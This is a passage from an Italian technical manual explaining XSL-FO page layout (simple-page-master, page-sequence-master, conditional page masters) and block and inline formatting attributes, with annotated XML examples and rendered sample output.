                page-height="297mm"
                margin-top="2cm"
                margin-bottom="2cm"
                margin-left="2cm"
                margin-right="2cm">
            <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
            <fo:region-before extent="1cm" />
            <fo:region-after  extent="1cm" />
```

```
        </fo:simple-page-master>
        ...
    </fo:layout-master-set>
    <fo:page-sequence>
        ...
    </fo:page-sequence>
    ...
</fo:root>
```

L'esempio che appare sopra mostra l'uso di un elemento '**`fo:simple-page-master`**', con il quale si dichiara un tipo di impaginazione denominato '**`normale`**', con le dimensioni di un foglio A4 (21 cm × 29,7 cm), con margini uguali di 2 cm, all'interno dei quali si trova un corpo, che a sua volta ha margini superiori e inferiori, pari all'estensione delle regioni rispettive.

Per riempire effettivamente le pagine di contenuti, occorre intervenire all'interno di elementi '**`fo:page-sequence`**', con cui si fa riferimento al tipo di impaginazione che si vuole usare:

```
<fo:page-sequence
    master-reference="nome_tipo_impaginazione"
    [initial-page-number="numero_iniziale"]
    [force-page-count="auto"|"odd"|"even"|altro]
    [country="nazionalità_iso_3166"]
    [language="lingua_iso_639"]
    [altri_attributi]>

    contenuti

</fo:page-sequence>
```

Dal modello sintattico si vede che il riferimento al tipo di impaginazione si ottiene con l'attributo '**`master-reference`**', che pertanto è obbligatorio. Sono inoltre da considerare gli attributi '**`initial-number`**' e '**`force-page-count`**': il primo consente di stabilire il numero di pagina iniziale e il secondo permette di stabilire se il gruppo di pagine in questione deve essere complessivamente dispari, pari o se debbano essere rispettate altre regole.

Gli attributi '**`country`**' e '**`language`**', nell'insieme servono a definire le caratteristiche locali del testo, stabilendo la nazionalità e il linguaggio. Formalmente, le sigle che si utilizzano per questo sono quelle definite nel documento RFC 1766, che in pratica corrisponde agli standard ISO 3166 (tabella 14.5) e ISO 639 (tabella 14.4).

Un elemento '**`fo:page-sequence`**' contiene necessariamente l'elemento '**`fo:flow`**' (uno solo), che a sua volta contiene ciò che viene distribuito nelle pagine (di solito il testo), come se fosse un flusso di informazioni. L'elemento '**`fo:flow`**' deve dichiarare, attraverso l'attributo '**`flow-name`**', in quale regione della pagina si inserisce il flusso in questione:

```
<fo:flow
    flow-name="xsl-region-{body|before|after|start|end}"

    flusso

</fo:flow>
```

L’esempio seguente riprende quanto già presentato a proposito della dichiarazione del tipo di impaginazione, associato a un flusso che riguarda il corpo della pagina stessa:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master
                master-name="normale"
                page-width="210mm"
                page-height="297mm"
                margin-top="2cm"
                margin-bottom="2cm"
                margin-left="2cm"
                margin-right="2cm">
            <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
            <fo:region-before extent="1cm" />
            <fo:region-after  extent="1cm" />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence
            master-reference="normale"
            initial-page-number="1"
            force-page-count="even"
            language="it"
            country="it">
        <fo:flow flow-name="xsl-region-body">
            <fo:block>
                Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla.
            </fo:block>
            <fo:block>
                Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla.
            </fo:block>
        </fo:flow>
```

```
    </fo:page-sequence>
</fo:root>
```

Quello che si ottiene dalla trasformazione di questo file XSL-FO sono due pagine (l'ultima è bianca) che contengono il testo che si può vedere, suddiviso in due capoversi. Si può osservare che il margine superiore è di 3 cm, perché 2 cm definiti dall'impaginazione si sommano al margine del corpo della pagina.

Le pagine ottenute sono due perché è stato richiesto espressamente di impiegare una quantità pari (*even*) di pagine con l'attributo '**`force-page-content`**' dell'elemento '**`fo:page-sequence`**'.

Se si tralasciano gli attributi, la sintassi completa di '**`fo:page-sequence`**' corrisponde al modello seguente:

```
<fo:page-sequence attributi>
    [<fo:title attributi>
        titolo
    </fo:title>]
    [<fo:static-content flow-name="regione">
        contenuto_statico
    </fo:static-content>]
    …
    <fo:flow flow-name="regione">
        flusso
    </fo:flow>
</fo:page-sequence>
```

L'elemento '**`fo:title`**' consente di attribuire un titolo, che non fa parte, necessariamente, del risultato della composizione. Gli elementi '**`fo:static-content`**' si comportano in modo simile a '**`fo:flow`**', per quanto riguarda la selezione della regione di competenza, ma servono per definire del testo che si vuole appaia su tutte le pagine (come può essere per una riga di intestazione o alla base della pagina).

L'esempio seguente espande quanto già visto in quello precedente, aggiungendo un'intestazione e una riga a piè pagina, dove, in particolare, viene collocato anche il numero della pagina. Ovviamente, per poter apprezzare il fatto che l'intestazione e il piè di pagina rimangono costanti, occorre mettere qualcosa di più nel corpo:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master
                master-name="normale"
                page-width="210mm"
                page-height="297mm"
                margin-top="2cm"
```

```
                 margin-bottom="2cm"
                 margin-left="2cm"
                 margin-right="2cm">
             <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
             <fo:region-before extent="1cm" />
             <fo:region-after  extent="1cm" />
         </fo:simple-page-master>
     </fo:layout-master-set>
     <fo:page-sequence
             master-reference="normale"
             initial-page-number="1"
             force-page-count="even"
             language="it"
             country="it">
         <fo:static-content flow-name="xsl-region-before">
             <fo:block>
                 Un esempio per cominciare.
             </fo:block>
         </fo:static-content>
         <fo:static-content flow-name="xsl-region-after">
             <fo:block>
                 pagina <fo:page-number />
             </fo:block>
         </fo:static-content>
         <fo:flow flow-name="xsl-region-body">
             <fo:block>
                 Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla.
             </fo:block>
             <!-- Inserire qui altri fo:block per ottenere più pagine -->
             <fo:block>
                 Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                 bla bla bla bla bla.
             </fo:block>
         </fo:flow>
     </fo:page-sequence>
 </fo:root>
```

Si osservi che gli esempi devono essere salvati in file con codifica UTF-8, altrimenti diventa indispensabile usare delle entità che facciano riferimento al punto di codifica, quando si usano simboli al di sopra di U+007F. Pertanto, se necessario, anche il commento va scritto nel modo corretto, per non creare problemi al programma che lo elabora:

```
            <!-- Inserire qui altri fo:block per ottenere pi&#x00F9; pagine -->
```

Oppure:

```
            <!-- Inserire qui altri fo:block per ottenere piu' pagine -->
```

Figura 64.74. L'aspetto di una pagina ottenuta dalla composizione dell'esempio. Si osservi che i caratteri sono stati ingranditi rispetto a quanto si otterrebbe normalmente, considerando le proporzioni.

Un esempio per cominciare.
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.
Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.
Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.
Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.
Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.
Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla.

pagina 2

64.5.2 Impaginazione più articolata

Nella sezione precedente è stata mostrata la possibilità di richiedere espressamente una quantità pari o dispari di pagine per una certa sequenza di pagine. Tuttavia questo non basta per controllare l'estetica di un bel libro, perché di solito si vuole che le pagine cambino impostazione in modo automatico all'inizio di un capitolo. Per raggiungere risultati come questo, al posto di usare l'elemento '**`fo:simple-page-master`**', si usa piuttosto '**`fo:page-sequence-master`**', che però si avvale in pratica delle dichiarazioni di altri elementi '**`fo:simple-page-master`**':

```
<fo:page-sequence-master master-name="nome_tipo_impaginazione">
    [<fo:single-page-master-reference master-reference=nome_tipo_impaginazione />]
    [<fo:repeatable-page-master-reference
        master-reference=nome_tipo_impaginazione
        [maximum-repeat=max_ripetizioni] />]
    [<fo:repeatable-page-master-alternatives
        [maximum-repeat=max_ripetizioni]>
        <fo:conditional-page-master-reference
            master-reference="nome_tipo_impaginazione"
            page-position="posizione"
            [altri_attributi] />
        ...
    </fo:repeatable-page-master-alternatives>]
    ...
</fo:page-sequence-master>
```

Inizialmente, l'insieme è piuttosto complesso. L'elemento più esterno, '**fo:page-sequence-master**' definisce un tipo di impaginazione a cui in seguito è possibile fare riferimento. All'interno di questo elemento possono apparire tre tipi di elementi, anche ripetutamente, con lo scopo di descrivere in sequenza i tipi di pagina da usare.

L'elemento '**fo:single-page-master-reference**', che si riferisce a un certo tipo di pagina in base all'attributo '**master-reference**', stabilisce che deve apparire una sola pagina con quelle caratteristiche. L'elemento '**fo:repeatable-page-master-reference**' stabilisce di utilizzare un certo tipo di pagina, attraverso l'attributo '**master-reference**', per una quantità imprecisata di pagine (salvo l'uso dell'attributo '**maximum-repeat**'. Si osservi l'esempio seguente:

```
1   <?xml version="1.0" encoding="UTF-8"?>
2   <!DOCTYPE fo:root SYSTEM "fo.dtd">
3   <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
4       <fo:layout-master-set>
5           <fo:simple-page-master
6                   master-name="normale"
7                   page-width="210mm"
8                   page-height="297mm"
9                   margin-top="2cm"
10                  margin-bottom="2cm"
11                  margin-left="2cm"
12                  margin-right="2cm">
13              <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
14              <fo:region-before extent="1cm" />
15              <fo:region-after  extent="1cm" />
16          </fo:simple-page-master>
17          <fo:simple-page-master
18                  master-name="speciale"
19                  page-width="210mm"
20                  page-height="297mm"
21                  margin-top="2cm"
22                  margin-bottom="2cm"
23                  margin-left="2cm"
24                  margin-right="2cm">
```

```
25                <fo:region-body   margin-bottom="1cm"/>
26                <fo:region-after  extent="1cm" />
27            </fo:simple-page-master>
28            <fo:page-sequence-master master-name="capitolo">
29                <fo:single-page-master-reference master-reference="speciale" />
30                <fo:repeatable-page-master-reference master-reference="normale" />
31            </fo:page-sequence-master>
32        </fo:layout-master-set>
33        <fo:page-sequence
34                master-reference="capitolo"
35                initial-page-number="1"
36                force-page-count="even"
37                language="it"
38                country="it">
39            <fo:static-content flow-name="xsl-region-before">
40                <fo:block>
41                    Un esempio per cominciare.
42                </fo:block>
43            </fo:static-content>
44            <fo:static-content flow-name="xsl-region-after">
45                <fo:block>
46                    pagina <fo:page-number />
47                </fo:block>
48            </fo:static-content>
49            <fo:flow flow-name="xsl-region-body">
50                <fo:block>
51                    Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
52                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
53                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
54                    bla bla bla bla bla.
55                </fo:block>
56                <!-- Inserire qui altri fo:block per ottenere più pagine -->
57                <fo:block>
58                    Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
59                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
60                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
61                    bla bla bla bla bla.
62                </fo:block>
63            </fo:flow>
64        </fo:page-sequence>
65    </fo:root>
```

Questa volta vengono dichiarati due tipi di impaginazione «semplice»; una denominata '**normale**', l'altra denominata '**speciale**' (righe da 5 a 27). La differenza tra i due tipi di impaginazione sta nell'assenza, nel secondo caso, della regione superiore, con la conseguente assenza del margine superiore nel corpo. In questo modo, si vuole fare sì che un capitolo utilizzi come prima pagina questo secondo tipo di impaginazione, senza usare la riga di intestazione. Pertanto, si definisce un tipo di impaginazione più complesso, denominato proprio '**capitolo**', che prevede come prima pagina l'impaginazione '**speciale**' e come pagine successive l'impaginazione '**normale**'. Per quanto riguarda l'elemento '**fo:page-sequence**' nulla è cambiato rispetto all'esempio precedente.

Figura 64.76. L'aspetto delle prime due pagine ottenute dalla composizione dell'esempio. Si osservi che i caratteri sono stati ingranditi rispetto a quanto si otterrebbe normalmente, considerando le proporzioni.

Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla pagina 1	Un esempio per cominciare. bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. pagina 2

Per ottenere effetti più complessi si può usare l'elemento '**`fo:repeatable-page-master-alternatives`**', che contiene necessariamente elementi '**`fo:conditional-page-master-reference`**':

```
<fo:repeatable-page-master-alternatives
        [maximum-repeat=max_ripetizioni] >
    <fo:conditional-page-master-reference
        master-reference="nome_tipo_impaginazione"
        page-position="first"|"last"|"rest"|"any"
        [altri_attributi] />
    ...
</fo:repeatable-page-master-alternatives>
```

In pratica, attraverso gli elementi '**`conditional-page-master-reference`**' si vanno a individuare dei sottogruppi di pagine in base a una condizione. La sintassi mostra la selezione più semplice, attraverso l'attributo '**`page-position`**', con il quale si può individuare la prima pagina, l'ultima, le pagine successive alla prima oppure qualunque pagina. Tuttavia sono disponibili altri attributi per condizioni più sofisticate, che qui non vengono descritti. L'esempio seguente svolge lo stesso lavoro di quello precedente, con l'uso di queste selezioni condizionali:

```
1   <?xml version="1.0" encoding="UTF-8"?>
2   <!DOCTYPE fo:root SYSTEM "fo.dtd">
3   <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
4       <fo:layout-master-set>
5           <fo:simple-page-master
6                   master-name="normale"
7                   page-width="210mm"
8                   page-height="297mm"
9                   margin-top="2cm"
10                  margin-bottom="2cm"
11                  margin-left="2cm"
12                  margin-right="2cm">
13              <fo:region-body   margin-top="1cm" margin-bottom="1cm"/>
14              <fo:region-before extent="1cm" />
15              <fo:region-after  extent="1cm" />
16          </fo:simple-page-master>
17          <fo:simple-page-master
18                  master-name="speciale"
19                  page-width="210mm"
20                  page-height="297mm"
21                  margin-top="2cm"
22                  margin-bottom="2cm"
23                  margin-left="2cm"
24                  margin-right="2cm">
25              <fo:region-body   margin-bottom="1cm"/>
26              <fo:region-after  extent="1cm" />
27          </fo:simple-page-master>
28          <fo:page-sequence-master master-name="capitolo">
29              <fo:repeatable-page-master-alternatives>
30                  <fo:conditional-page-master-reference
31                      master-reference="speciale"
32                      page-position="first" />
33                  <fo:conditional-page-master-reference
34                      master-reference="normale"
35                      page-position="rest" />
36              </fo:repeatable-page-master-alternatives>
37          </fo:page-sequence-master>
38      </fo:layout-master-set>
39      <fo:page-sequence
40              master-reference="capitolo"
41              initial-page-number="1"
42              force-page-count="even"
43              language="it"
44              country="it">
45          <fo:static-content flow-name="xsl-region-before">
46              <fo:block>
47                  Un esempio per cominciare.
48              </fo:block>
49          </fo:static-content>
50          <fo:static-content flow-name="xsl-region-after">
51              <fo:block>
52                  pagina <fo:page-number />
```

```
53                </fo:block>
54            </fo:static-content>
55            <fo:flow flow-name="xsl-region-body">
56                <fo:block>
57                    Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
58                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
59                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
60                    bla bla bla bla bla.
61                </fo:block>
62                <!-- Inserire qui altri fo:block per ottenere più pagine -->
63                <fo:block>
64                    Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
65                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
66                    bla bla bla bla bla bla bla bla bla bla bla bla bla bla
67                    bla bla bla bla bla.
68                </fo:block>
69            </fo:flow>
70        </fo:page-sequence>
71    </fo:root>
```

La differenza rispetto all'esempio precedente si trova precisamente nelle righe da 29 a 36.

64.5.3 Contenuto

A proposito del contenuto del documento, è già stato mostrato l'uso e la struttura successiva all'elemento '**`fo:page-sequence`**':

```
<fo:page-sequence
        master-reference="nome_tipo_impaginazione"
        [initial-page-number="numero_iniziale"]
        [force-page-count="auto"|"odd"|"even"|altro]
        [country="nazionalità_iso_3166"]
        [language="lingua_iso_639"]
        [altri_attributi]>
    [<fo:title attributi>
        titolo
    </fo:title>]
    [<fo:static-content flow-name="regione">
        contenuto_statico
    </fo:static-content>]
    ...
    <fo:flow flow-name="regione">
        flusso
    </fo:flow>
</fo:page-sequence>
```

L’elemento ‘**fo:page-sequence**’ rappresenta letteralmente una sequenza di pagine, come potrebbe essere un capitolo o una parte di un libro, dove, tra le altre cose, può essere utile ripartire con una nuova numerazione delle pagine. Pertanto, un documento può avere più elementi ‘**fo:page-sequence**’ distinti.

Gli elementi ‘**fo:flow**’, o ‘**fo:static-content**’, rappresentano in pratica la destinazione del contenuto, che va inserito nella regione appropriata. Questi elementi possono contenere dei «blocchi», o più precisamente elementi ‘**fo:block**’, ‘**fo:block-container**’, ‘**fo:list-block**’, ‘**fo:table**’, ‘**fo:table-and-caption**’.

L’elemento ‘**fo:block**’ ha la particolarità di contenere sia testo lineare, sia altri blocchi (quindi anche se stesso). Pertanto viene usato indifferentemente come un equivalente dell’elemento ‘**DIV**’ o dell’elemento ‘**P**’ di HTML.

64.6 XSL-FO: contenuto

Il contenuto di una regione del corpo definita dall’impaginazione, è fatto sommariamente di blocchi, come l’elemento ‘**fo:block**’, e di componenti lineari, in base al contesto. Generalmente, un blocco non può essere contenuto in un contesto lineare, a meno che questo sia incorporato in un elemento apposito, come ‘**fo:inline-container**’.

Un blocco è idealmente un oggetto a due dimensioni, rettangolare, per il quale potrebbero essere previsti dei margini su tutti i lati; un componente lineare è invece inteso come un oggetto monodimensionale che può avere margini solo prima e dopo.

In generale, gli elementi che descrivono un blocco o una componente lineare condividono delle opzioni comuni per definire i margini, il bordo, il colore di fondo e altre caratteristiche. La tabella 64.78 elenca alcuni attributi abbastanza comuni.

Tabella 64.78. Alcuni attributi abbastanza comuni negli elementi che contengono del testo, sia in forma di blocco, sia in forma lineare.

Attributo	Descrizione
`space-start="`*spazio_iniziale*`"` `space-end="`*spazio_finale*`"`	Riguarda i componenti lineari e richiede uno spazio iniziale o finale.

`*before*="`*prima*`"`
`*after*="`*dopo*`"`
`*start*="`*inizio*`"`
`*end*="`*fine*`"`
	Un attributo che contiene le parole chiave evidenziate rappresenta una proprietà relativa alla posizione rispettiva, tenendo conto della direzione di scrittura.

`space-before="`*spazio_prima*`"`
`space-after="`*spazio_dopo*`"`
`start-indent="`*rientro_iniziale*`"`
`end-indent="`*rientro_finale*`"`
	Riguarda i componenti a blocchi e definisce i margini.

Attributo	Descrizione

`border-before-color="`***colore***`"`
 	
`border-after-color="`***colore***`"`
 	
`border-start-color="`***colore***`"`
 	
`border-end-color="`***colore***`"`
	Definisce il colore del bordo.

`border-before-style="`***stile***`"`
 	
`border-after-style="`***stile***`"`
 	
`border-start-style="`***stile***`"`
 	
`border-end-style="`***stile***`"`
	Definisce lo stile del bordo. Possono essere usate parole chiave come: '**`none`**', '**`dotted`**', '**`dashed`**', '**`solid`**', '**`double`**'.

`border-before-width="`***spessore***`"`
 	
`border-after-width="`***spessore***`"`
 	
`border-start-width="`***spessore***`"`
 	
`border-end-width="`***spessore***`"`
	Definisce lo spessore del bordo.

`font-family="`***nome***`"` `font-family="serif"`↩ ↪`|"sans-serif"|"cursive"|"fantasy"`↩ ↪`|"monospace"`	Dichiara il nome di un carattere tipografico. Il nome può essere indicato in modo preciso, oppure attraverso parole chiave che si riferiscono alla caratteristica di massima.

`font-size="`***altezza***`"`
 	
`font-size="xx-small"|"x-small"|"small"`↩
↪`|"medium"|"large"|"x-large"`↩
↪`|"xx-large"`
 	
`font-size="larger"|"smaller"`
 	
`font-size="`***n***`%"`
 	
`font-size="`***n***`em"`
	Dichiara la dimensione del carattere tipografico. La dimensione può essere data con un valore assoluto, espresso attraverso un numero e la sua unità di misura; un valore assoluto specificato attraverso una parola chiave; un valore relativo specificato attraverso una parola chiave; un valore relativo specificato in modo percentuale o in quadratoni («em»).

`font-style="normal"|"italic"|"oblique"`↩ ↪`|"backslant"`	Dichiara stile del carattere, inteso come la sua inclinazione o la sua forma corsiva.
`font-stretch="ultra-condensed"`↩ ↪`|"extra-condensed"|"condensed"`↩ ↪`|"semi-condensed"|"normal"`↩ ↪`|"semi-expanded"|"expanded"`↩ ↪`|"extra-condensed"|"ultra-expanded"`	Dichiara la larghezza del carattere.
`font-variant="normal"|"small-caps"`	Dichiara l'utilizzo o meno del maiuscoletto.

Attributo	Descrizione
`font-weight="normal"│"bold"│"bolder"│"lighter"`	Dichiara lo spessore del carattere (normale, nero, nerissimo, chiaro).
`line-height="normal"│"`***altezza***`"│"`***n***`"│"`***n***`%"`	Dichiara l'altezza della riga. Se si indica un numero privo di unità di misura, si fa riferimento alla dimensione del carattere (***n*** volte l'altezza del carattere); se si indica una percentuale, questa si riferisce all'altezza del carattere.
`text-align="start"│"center"│"end"│"justify"│...`	Riguarda i componenti a blocchi e serve per dichiarare l'allineamento da usare. Al posto di indicare un allineamento a destra o a sinistra, si preferiscono definizioni riferite alla direzione di scrittura.
`text-indent="`***dimensione***`"│"`***n***`%"`	Riguarda i componenti a blocchi e serve per dichiarare il rientro della prima riga. Un valore percentuale si riferisce all'ampiezza del blocco che lo contiene.

Le sezioni successive non esauriscono l'argomento trattato, perché diversi elementi e molti attributi non vengono descritti affatto. Per ottenere le informazioni mancanti e in modo più dettagliato, si consulti la documentazione annotata nella bibliografia che appare alla fine del capitolo.

64.6.1 Blocchi di testo comuni

Un blocco di testo comparabile all'elemento '**`P`**' di HTML, si ottiene con l'elemento '**`fo:block`**', che però può contenere anche altri blocchi, oltre al testo lineare puro e semplice:

```
<fo:block
        [attributi] >
    ...
</fo:block>
```

L'esempio seguente mostra l'uso di alcuni attributi per modificare il linguaggio, per inserire dei bordi, per modificare il carattere e per inserire dei margini:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
```

```
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block   language="de"           country="de"
                        font-family="serif"     font-size="7mm"
                        border-before-style="solid"
                        border-after-style="solid">
                Wer bekommt das gr&#x00F6;&#x00DF;te St&#x00FC;ck Torte?
            </fo:block>
            <fo:block   font-style="italic"     font-size="7mm"
                        space-before="1cm"      space-after="1cm">
                Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla.
            </fo:block>
            <fo:block   font-size="7mm"
                        space-before="1cm"      space-after="1cm">
                Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla.
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Il risultato della composizione si può osservare nelle figura seguente:

Wer bekommt das größte Stück Torte?

Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Dal momento che tutti gli elementi '**`fo:block`**' dell'esempio utilizzano un carattere di 7 mm, si può sfruttare l'ereditarietà della proprietà, inserendo tutti questi blocchi in un elemento '**`fo:block`**' complessivo (riga 15) in cui si dichiara una volta sola tale dimensione:

```
1   <?xml version="1.0" encoding="UTF-8"?>
2   <!DOCTYPE fo:root SYSTEM "fo.dtd">
3   <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
4       <fo:layout-master-set>
5           <fo:simple-page-master          master-name="normale"
6                   page-width="210mm"      page-height="297mm"
7                   margin-top="2cm"        margin-bottom="2cm"
8                   margin-left="2cm"       margin-right="2cm">
9               <fo:region-body />
10          </fo:simple-page-master>
11      </fo:layout-master-set>
12      <fo:page-sequence           master-reference="normale"
13              language="it"       country="it">
14          <fo:flow                flow-name="xsl-region-body">
15              <fo:block           font-size="7mm">
16                  <fo:block       language="de"           country="de"
17                                  font-family="serif"     font-size="7mm"
18                                  border-before-style="solid"
19                                  border-after-style="solid">
20                      Wer bekommt das gr&#x00F6;&#x00DF;te St&#x00FC;ck Torte?
21                  </fo:block>
22                  <fo:block       font-style="italic"
23                                  space-before="1cm"      space-after="1cm">
24                      Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla
25                      bla bla bla bla bla bla bla bla bla bla bla bla bla bla
26                      bla bla bla bla bla bla bla bla bla bla bla bla bla bla
27                      bla bla bla bla bla.
```

28	` </fo:block>`
29	` <fo:block space-before="1cm" space-after="1cm">`
30	` Bla bla bla Bla bla bla bla bla bla bla bla bla bla bla`
31	` bla bla bla bla bla bla bla bla bla bla bla bla bla bla`
32	` bla bla bla bla bla bla bla bla bla bla bla bla bla bla`
33	` bla bla bla bla bla.`
34	` </fo:block>`
35	` </fo:block>`
36	` </fo:flow>`
37	` </fo:page-sequence>`
38	`</fo:root>`

Il risultato che si ottiene è lo stesso già visto nella figura precedente.

64.6.2 Testo lineare

In un contesto lineare, si può inserire testo o elementi che non creano un blocco. In modo particolare, l'elemento '**`fo:inline`**', con l'uso dei suoi attributi, consente di modificare le caratteristiche del testo, come il carattere, lo spostamento sulla linea di riferimento (apici e pedici) e il colore:

```
<fo:inline
        [font-family="nome"|"serif"|"sans-serif"|"cursive"|"fantasy"
            |"monospace"]
        [font-size="altezza"|"xx-small"|"x-small"|"small"|"medium"|
"large"
            |"x-large"|"xx-large"|"larger"|"smaller"|"n%"|"nem"]
        [font-style="normal"|"italic"|"oblique"|"backslant"]
        [font-stretch="ultra-condensed"|"extra-condensed"|
"condensed"
            |"semi-condensed"|"normal"|"semi-expanded"|"expanded"
            |"extra-condensed"|"ultra-expanded"]
        [font-variant="normal"|"small-caps"]
        [font-weight="normal"|"bold"|"bolder"|"lighter"]
        [baseline-shift="sub"|"super"|...]
        [color="colore"]
        [altri_attributi]>
    [contenuto_lineare]
</fo:inline>
```

L'esempio seguente mostra solo un estratto di un file XSL-FO, con un blocco che contiene testo lineare, all'interno del quale appaiono alcuni elementi '**`fo:inline`**' con lo scopo di modificare il carattere, il colore e lo spostamento verticale:

```
<fo:block>Bla bla bla <fo:inline font-style="italic">testo in
corsivo</fo:inline> bla bla bla <fo:inline
font-weight="bold">H<fo:inline
baseline-shift="sub">2</fo:inline>O</fo:inline> bla bla bla <fo:inline
font-family="monospace">ls -l | sort &gt; prova</fo:inline> bla bla bla
<fo:inline color="blue">testo in blu</fo:inline> bla bla bla <fo:inline
font-variant="small-caps">testo in maiuscoletto</fo:inline> bla bla
bla.</fo:block>
```

Nell'ambito di un contesto lineare, eccezionalmente, è possibile inserire un blocco, attraverso l'elemento '**`fo:inline-container`**':

```
<fo:inline-container
